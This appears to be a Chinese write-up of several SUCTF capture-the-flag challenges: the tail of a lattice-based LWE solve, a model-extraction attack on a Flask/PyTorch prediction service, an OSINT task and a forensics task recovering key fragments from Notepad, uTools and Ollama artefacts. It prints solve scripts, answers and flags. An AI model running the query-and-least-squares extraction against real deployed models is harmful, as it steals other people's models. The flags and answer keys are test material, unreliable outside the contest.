# ===== Reduce system: substitute known bytes =====
Y_prime = list(Y)
for i in range(m):
for t, val in known.items():
Y_prime[i] = (Y_prime[i] - A[i][t] * val) % q
unknown_idx = [t for t in range(n_flag) if t not in known]
n_unk = len(unknown_idx)
A_prime = [[A[i][t] for t in unknown_idx] for i in range(m)]
center = 79
Y_centered = [(Y_prime[i] - sum(A_prime[i][j]*center for j in range(n_unk))) % q for i in range(m)]
# ===== Kannan embedding lattice (50x50) =====
d = m + n_unk + 1
B = matrix(ZZ, d, d)
for i in range(m):
B[i, i] = q
for j in range(n_unk):
for i in range(m):
B[m+j, i] = A_prime[i][j]
B[m+j, m+j] = 1
for i in range(m):
B[m+n_unk, i] = Y_centered[i]
B[m+n_unk, m+n_unk] = 1
# ===== LLL and recover flag =====
L = B.LLL()
for row in L:
last = row[-1]
if last == 0: continue
if last < 0: row = -row; last = -last
if last != 1: continue
e_vals = [int(row[i]) for i in range(m)]
x_vals = [center - int(row[m+j]) for j in range(n_unk)]
if all(abs(e)<=160 for e in e_vals) and all(32<=x<=126 for x in x_vals):
flag_bytes = [0]*n_flag
for t,v in known.items(): flag_bytes[t] = v
for idx,t in enumerate(unknown_idx): flag_bytes[t] = x_vals[idx]
print(f"FLAG: {bytes(flag_bytes).decode()}")
break
得到SUCTF{PyT0rch_m0del_c4n_h1d3_LWE_pr0bl3m}
SU_theif
1. 题目概览
- 题目名称: SU_theif
- 题目类型: AI Security / Model Extraction
- 附件:
app.py: 服务端源码,基于 Flask 和 PyTorch。model_base.pth: 一个基础模型权重文件。
2. 题目分析
2.1 服务端逻辑审计
通过分析 app.py,我们可以梳理出服务端的关键逻辑:
- 模型定义: 定义了一个名为
Net的神经网络类。 - 模型加载: 服务端加载了一个
model.pth(未提供),这是我们要窃取的目标。同时,题目提供了model_base.pth,这通常暗示目标模型是在此基础上微调或修改得到的。 - 预测接口 (
/predict):- 接受用户上传的图像数据。
- 将图像输入模型,返回模型的输出(Logits)。
- 关键点: 这是一个典型的 Oracle(预言机),我们可以通过输入任意数据来探测模型的行为。
- Flag 接口 (
/flag):- 接受用户上传的一个模型文件。
- 服务端会将上传的模型与运行中的
model进行逐层参数比对。 - 判定标准:
- 权重 (
weight) 差异绝对值。 - 偏置 (
bias) 差异绝对值。
- 权重 (
- 如果校验通过,返回 Flag。
2.2 模型架构分析
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.linear = nn.Linear(256, 256)
self.conv = nn.Conv2d(1, 1, (3, 3), stride=1)
self.conv1 = nn.Conv2d(1, 1, (2, 2), stride=2)
def forward(self, x):
x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
x = self.conv(x)
x = self.conv1(x)
x = x.view(-1)
x = self.linear(x)
return x
仔细观察 forward 函数,我们可以发现一个致命的弱点:模型中不存在任何非线性激活函数(如 ReLU, Sigmoid, Tanh 等)。
这意味着整个神经网络,无论有多少层,本质上都只是多个线性变换的叠加。数学上,多个线性变换的组合仍然是一个线性变换。
3. 攻击原理 (Model Extraction)
3.1 线性系统的参数求解
由于模型是线性的,输入
然而,题目要求我们恢复每一层的具体参数,而不仅仅是总的等效变换。这就需要利用题目提供的额外信息:model_base.pth。
假设: 服务端模型的前几层(卷积层)参数没有改变,仍然与 model_base.pth 一致,只有最后一层(全连接层 linear)的参数发生了变化(例如被重新训练过)。
基于这个假设,我们可以采用已知明文攻击的思路:
- 特征提取 (本地):
利用本地的 model_base.pth 中的卷积层,对输入图像
- 由于假设卷积层参数已知且固定,这个
就是全连接层的真实输入。 - 黑盒查询 (远程):
将同样的图像
- 构建方程组:
现在我们有了输入
其中:
对于输出向量
这对于所有
- $ Z $ 是一个 $ 256 $ 维的向量。
- $ Y $ 是一个 $ 256 $ 维的向量。
- $ W $ 是 $ 256 \times 256 $ 的权重矩阵(未知)。
- $ b $ 是 $ 256 $ 维的偏置向量(未知)。
3.2 最小二乘法 (Least Squares)
为了求解
我们将
对于
其中:
是将 个样本的特征向量 堆叠,并在每行末尾追加一个 得到的矩阵。 。
根据线性代数理论,只要样本数量
在 Python 的 numpy 库中,np.linalg.lstsq 函数可以直接高效地求解此类问题,它会自动处理矩阵求逆和数值稳定性问题。
4. 解题步骤详解
步骤 1: 数据收集
我们需要收集大量的输入输出对。为了保证方程组有解且抵抗网络/数值噪声,我们收集了 2000 个样本(远大于理论最小值的 257 个)。
- 随机生成 2000 张
的噪声图片。 - 本地计算: 使用
model_base.pth的卷积层计算这些图片的特征向量。 - 远程查询: 将这些图片发送给
/predict接口,获得目标输出。
步骤 2: 求解参数
使用 numpy.linalg.lstsq 求解
# 构造增广矩阵 [Z, 1]
Z_aug = np.hstack([Z, np.ones((N, 1))])
# 求解
W_full, residuals, rank, s = np.linalg.lstsq(Z_aug, Y, rcond=None)
# 拆分结果
W_rec = W_full[:256, :].T # 前 256 列是权重
b_rec = W_full[256, :] # 最后一列是偏置
步骤 3: 结果分析与微调 (遇到的坑)
在得到
- **权重 **
: 数值非常接近整数(例如 5.00001, -3.99999)。这说明原始权重很可能是整数。我们对其进行了 np.round()取整操作。 - **偏置 **
: 数值看起来是杂乱的浮点数(例如 1.503…)。 - 尝试 1: 以为偏置也是整数,尝试取整 -> 失败(误差过大)。
- 尝试 2: 怀疑是卷积层的偏置变了导致全连接层的输入发生了平移。尝试遍历卷积层偏置的整数偏移量 -> 失败。
- 最终结论: 实际上服务端的全连接层偏置就是一个浮点数。题目中的校验阈值
0.005相对较大,足以容忍浮点数计算带来的微小误差。因此,直接使用求解出的浮点数即可。
步骤 4: 构造并提交模型
- 加载
model_base.pth。 - 保持卷积层参数不变。
- 将
linear层的权重更新为取整后的。 - 将
linear层的偏置更新为原始浮点数。 - 保存模型,Base64 编码,上传至
/flag接口。
5. 核心代码
import torch
import torch.nn as nn
import requests
import base64
import numpy as np
import concurrent.futures
import io
# 定义与服务端一致的模型结构
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.linear = nn.Linear(256, 256)
self.conv = nn.Conv2d(1, 1, (3, 3), stride=1)
self.conv1 = nn.Conv2d(1, 1, (2, 2), stride=2)
def forward_features(self, x):
# 仅前向传播卷积层,提取特征 Z
x = nn.functional.pad(x, (2, 0, 2, 0), mode='constant', value=0)
x = self.conv(x)
x = self.conv1(x)
x = x.view(-1)
return x
# 1. 准备工作
local_model = Net()
local_model.load_state_dict(torch.load('model_base.pth', map_location='cpu'))
# 2. 并发收集数据 (Z, Y)
# ... (省略网络请求代码) ...
# 收集到 Z_list (本地计算特征) 和 Y_list (远程预测结果)
Z = np.array(Z_list)
Y = np.array(Y_list)
# 3. 最小二乘法求解
N = Z.shape[0]
Z_aug = np.hstack([Z, np.ones((N, 1))]) # 构造增广矩阵
W_full, _, _, _ = np.linalg.lstsq(Z_aug, Y, rcond=None)
W_rec = W_full[:256, :].T
b_rec = W_full[256, :]
# 4. 参数处理
# 观察发现权重接近整数,偏置为浮点数
W_final = np.round(W_rec)
b_final = b_rec
# 5. 更新模型并提交
local_model.linear.weight.data = torch.tensor(W_final, dtype=torch.float32)
local_model.linear.bias.data = torch.tensor(b_final, dtype=torch.float32)
buffer = io.BytesIO()
torch.save(local_model.state_dict(), buffer)
encoded_model = base64.b64encode(buffer.getvalue()).decode('utf-8')
# 发送请求获取 Flag
# ...
得到
Flag: SUCTF{n0t_4ll_h1st0ry_t3lls_th3_truth_6a4e2b8d}
MISC
SUCTF-cyberhack





以上信息可以确定mnzn233为字符串关键人物,然后联系mc 找到了皮肤站可以看到他的一些过往id。使用过往id在一些知名的国外社交网站进行检索

discord里就是flag的字符串所在

名字由来
SU_Signin

访问 https://ctftime.org/team/29641 就给

SU_forensics
题目概述
题目给了一份 abc.ad1 逻辑镜像,需要从镜像中的系统、Notepad、uTools、CherryStudio、Ollama 等痕迹里恢复 7 个问题的答案,最后再按题目要求拼接并计算 flag。
这题的核心不是单点爆破,而是把多类取证痕迹串成一条时间线:
- 用系统注册表确定设备关机时间。
- 用 Windows 11 Notepad 的
TabState/WindowState恢复被编辑又删除的提示文本。 - 用 uTools 剪贴板历史恢复落盘过的密钥片段和提示语。
- 用 CherryStudio / Ollama 对话记录恢复“AI 生成片段”和相关时间。
- 结合题面规则
1-4-3-2重组完整密钥。 - 最后按
SUCTF{MD5(Q1_Q2_Q3_Q4_Q5_Q6_Q7)}生成 flag。
最终答案
| 题号 | 最终答案 |
|---|---|
| Q1 | 2026/03/05T17:23:06 |
| Q2 | c1c4c50f51afc97a58385457af43e169 |
| Q3 | zQt$d3!GIS9l.aR@7ELN |
| Q4 | 019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24 |
| Q5 | zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789 |
| Q6 | 2026/03/05T21:58:17 |
| Q7 | 40854344-3f6e-4464-a07f-b39d42f5adc5 |
| Flag | SUCTF{39e850db5d740c54df4281e39fb3866d} |
总体思路
1. 先找“规则”
这题最重要的规则不是在聊天记录里,而是在本地文本与剪贴板痕迹中:
- Notepad 删除文本里有四条规则:
- key 不能完整落盘
- key 有四段
- 使用顺序是
1-4-3-2 - 有一段是 AI 生成
- uTools 剪贴板里还有一句直接提示:
第三密钥为第二密钥生成时间的时间戳
这两条规则一结合,Q5 基本就从“找字符串”变成了“按规则组装”。
2. 优先取“直接证据”
能直接命中的就直接命中:
- Q1 看注册表
- Q2 看 Notepad
TabState - Q3 / Q4 / Q5 / Q7 看 uTools、CherryStudio、Ollama
- Q6 看
app.log
3. 对有歧义的题,用别的题反推
这题最大的坑是 Q3/Q4/Q5 会互相影响:
- 一开始很容易把
EkXVEW...误判成第一密钥 - Q4 也有
created_at=22:21:57和updated_at=22:25:24两种口径 - 第三密钥一开始也很容易误判成 uTools 里复制过的
1772702254350
真正解开的方法是交叉验证:
- Q3 用 uTools 剪贴板里的明文修正
- Q4 用 Q5 中“第三密钥是时间戳”反推应取生成完成时间
- Q5 用
1-4-3-2规则和单题验证站逐步收敛
关键证据路径
系统与注册表
extracted/SYSTEMextracted/SYSTEM.LOG1extracted/SYSTEM.LOG2
Notepad
extracted/notepad_results/WindowStateTabs.csvextracted/notepad_results/NoFileTabs.csvextracted/notepad_results/992ff4a3-c3e9-401e-9320-82ddc5fa9d31-UnsavedBufferChunks.csv
uTools
extracted/utools_clip_1772542010301/data.decrypted.jsonextracted/utools_clip_1772700955558/data.decrypted.jsonextracted/utools_clip_1772701170720/data.decrypted.jsonextracted/utools_extract/data.decrypted.json
CherryStudio
extracted/cherry/indexeddb_parsed_clean.json
Ollama
extracted/ollama/ollama_chats.jsonextracted/ollama/chat_index.txtextracted/ollama/app.logextracted/key_like_strings.txt
逐题分析
Q1 设备上次关闭时间
原理
Windows 关机时间可以直接从 SYSTEM 注册表里的:
HKLM\SYSTEM\Select\CurrentHKLM\SYSTEM\ControlSet00X\Control\Windows\ShutdownTime
离线解析 hive 后,把 UTC 转为本地时区 UTC+8 即可。
结论
- 原始 UTC:
2026/03/05T09:23:06 - 转换 UTC+8:
2026/03/05T17:23:06
所以:
Q1 = 2026/03/05T17:23:06
Q2 记事本中删除的内容 MD5
原理
Windows 11 Notepad 的无文件标签页会把状态保存在 TabState/WindowState 里,未保存文本的编辑轨迹可以从 UnsavedBufferChunks 重放出来。
先看活动标签:
WindowStateTabs.csv显示当前活动 tab 是992ff4a3-c3e9-401e-9320-82ddc5fa9d31NoFileTabs.csv显示这个 tab 初始残留内容是Key in
再看编辑日志:
992ff4a3-c3e9-401e-9320-82ddc5fa9d31-UnsavedBufferChunks.csv
这个 CSV 记录了逐字符插入/删除。把它正向重放后,可以恢复出完整规则文本以及后续删除过程。
恢复出的关键规则
从 Notepad / uTools 两侧都能对上如下规则:
Key instructions:
1.Key must not be entirely stored on disk
2.The key has four parts
3.The key requires reshuffling order:1-4-3-2
4.There is a Key generted by AI
这里注意题目问的是“删除的内容的 MD5”,所以不是只看最后屏幕上剩什么,而是要看被删掉的那段文本本体。
正确口径
最终验证通过的是“最大连续删除段”的 UTF-8 MD5,也就是:
Key instructions:\r
1.Key must not be entirely stored on disk\r
2.The key has four parts\r
3.The key requires reshuffling order:1-4-3-2\r
4.There is a Key generted by AI\r
complete
对应 MD5:
c1c4c50f51afc97a58385457af43e169
所以:
Q2 = c1c4c50f51afc97a58385457af43e169
Q3 第一密钥
误区
最开始把 Ollama 里的:
EkXVEWLQgMIo1oRWqmc_CsV49shNaRKN-4yVJhfgIQY=
当成第一密钥,因为它看起来像标准 URL-safe Base64 随机串,而且它同时出现在:
extracted/ollama/ollama_chats.jsonextracted/utools_clip_1772701170720/data.decrypted.json
但它最终不能通过验证站,因此只是一个强干扰项。
正确证据
题目给了 hint:“第一密钥请关注 utools”。
重新翻 uTools 剪贴板历史后,在以下文件里都能直接看到第一密钥明文:
extracted/utools_clip_1772700955558/data.decrypted.jsonextracted/utools_extract/data.decrypted.json
关键条目:
idx 33
timestamp 1772702838000
value zQt$d3!GIS9l.aR@7ELN
所以:
Q3 = zQt$d3!GIS9l.aR@7ELN
Q4 第二密钥对应的对话 id 和时间
原理
第二密钥来自 Ollama,而不是 CherryStudio 的解释性聊天。
在:
extracted/ollama/ollama_chats.json
里可以看到聊天:
chat_id = 019cbe60-6803-70fe-8ab5-e0035399980f
title = 第二密钥生成尝试
其中:
- user
108:让本地模型给出openssl rand -base64 32 | tr '+/' '-_' | tr -d '='的示例 - assistant
109:给出示例字符串 - user
110:明确回复“那我用这个吧”
assistant 109 的关键字段是:
created_at = 2026-03-05 22:21:57.3893313+08:00updated_at = 2026-03-05 22:25:24.2129715+08:00
assistant 给出的示例字符串是:
4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
为什么时间要取 22:25:24
这是这题最容易错的点。
如果只看“消息创建”,会写成:
019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:21:57
但 Q5 的第三密钥提示是:
第三密钥为第二密钥生成时间的时间戳
最终验证通过的第三密钥是:
1772720724
把 2026-03-05 22:25:24 +08:00 转成 Unix 时间戳,正好就是:
1772720724
这说明“第二密钥生成时间”应当取 assistant 输出完成后的时间,即 updated_at,不是 created_at。
所以:
Q4 = 019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24
Q5 最终完整密钥
原理
Notepad 规则已经明确说了:
1. key 不能完整落盘
2. key 有四段
3. 顺序是 1-4-3-2
4. 有一段由 AI 生成
所以 Q5 的本质是找到四段,再按 1-4-3-2 拼接。
第 1 段
来自 Q3,uTools 剪贴板直接命中:
zQt$d3!GIS9l.aR@7ELN
第 2 段
来自 Ollama assistant 109:
4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
这是“AI 生成段”,也符合题面“有一段由 AI 生成”的规则。
第 3 段
uTools 剪贴板里有直接提示:
第三密钥为第二密钥生成时间的时间戳
而 Q4 已经确定第二密钥的生成完成时间是:
2026/03/05T22:25:24 (UTC+8)
转 Unix 时间戳:
1772720724
所以第三段是:
1772720724
第 4 段
这段同样来自 uTools 剪贴板,而且是直接明文:
extracted/utools_clip_1772542010301/data.decrypted.jsonextracted/utools_clip_1772700955558/data.decrypted.json
都能看到:
A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z
这段在旧剪贴板里反复出现,是非常稳定的直接证据。
按 1-4-3-2 重排
四段分别是:
1 = zQt$d3!GIS9l.aR@7ELN
2 = 4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
3 = 1772720724
4 = A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z
按题目要求 1-4-3-2 拼接:
zQt$d3!GIS9l.aR@7ELN
A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z
1772720724
4dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
合并后得到:
zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
所以:
Q5 = zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789
Q6 Ollama 客户端 no such host 时间
证据
看:
extracted/ollama/app.log
关键日志:
time=2026-03-05T21:58:17.244+08:00 level=WARN source=ui.go:1567 msg="failed to check upstream digest" error="Head \"https://ollama.com/v2/library/deepseek-r1/manifests/8b\": dial tcp: lookup ollama.com: no such host" model=deepseek-r1:8b
所以:
Q6 = 2026/03/05T21:58:17
Q7 得到“让本地模型输出固定格式密钥”的 prompt 的 messageid
原理
Q7 问的不是“第二密钥在哪条消息里”,而是“让本地模型输出固定格式密钥”的 prompt 来源消息是哪条。
这个来源不是 Ollama 本身,而是 CherryStudio 里先问出来的命令模板。
证据
看:
extracted/cherry/indexeddb_parsed_clean.json
可以定位到:
message_id = 40854344-3f6e-4464-a07f-b39d42f5adc5
topic_id = bef7324a-9e11-4e23-a19f-624f662a92c8
created_at = 2026-03-05T14:20:05.397Z
对应主文本块里给出了:
openssl rand -base64 32 | tr '+/' '-_' | tr -d '='
随后在 Ollama 的 chat 019cbe60-6803-70fe-8ab5-e0035399980f 中,user 108 基本原样把这条命令贴给本地模型去要示例。所以这条 Cherry 消息就是 prompt 的真正来源。
所以:
Q7 = 40854344-3f6e-4464-a07f-b39d42f5adc5
最终 flag 生成
题目给出的格式是:
SUCTF{MD5(问题一答案_问题二答案_问题三答案_问题四答案_问题五答案_问题六答案_问题七答案)}
所以 payload 为:
2026/03/05T17:23:06_c1c4c50f51afc97a58385457af43e169_zQt$d3!GIS9l.aR@7ELN_019cbe60-6803-70fe-8ab5-e0035399980f_2026/03/05T22:25:24_zQt$d3!GIS9l.aR@7ELNA9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z17727207244dE23eFgH7kLmNpOqRstUvWxYz012345678901234567890123456789_2026/03/05T21:58:17_40854344-3f6e-4464-a07f-b39d42f5adc5
计算 MD5:
39e850db5d740c54df4281e39fb3866d
最终 flag:
SUCTF{39e850db5d740c54df4281e39fb3866d}
这题的几个坑
1. 第一密钥不是 EkXVEW...
那个字符串虽然像密钥,也出现在 Ollama 和 uTools 里,但它是误导项。真正通过验证的是 uTools 剪贴板里的:
zQt$d3!GIS9l.aR@7ELN
2. Q4 的时间要取 updated_at
如果取 22:21:57,Q4 可能看起来合理,但 Q5 的第三段就对不上。
第三段是第二密钥生成时间的 Unix 时间戳,而验证通过的第三段恰好对应 22:25:24。
3. 第三密钥不是 1772702254350
1772702254350 只是 uTools 中某个剪贴板项的毫秒时间戳。
正确的第三密钥是“第二密钥生成完成时间”的秒级 Unix 时间戳:
1772720724
4. 第四段其实早就落在 uTools 里了
A9!fK2@pL4#tM6$wN8%yR1^uD3&hJ5*Z 在旧 uTools 剪贴板里出现了不止一次,这也是 Q5 能彻底闭环的关键。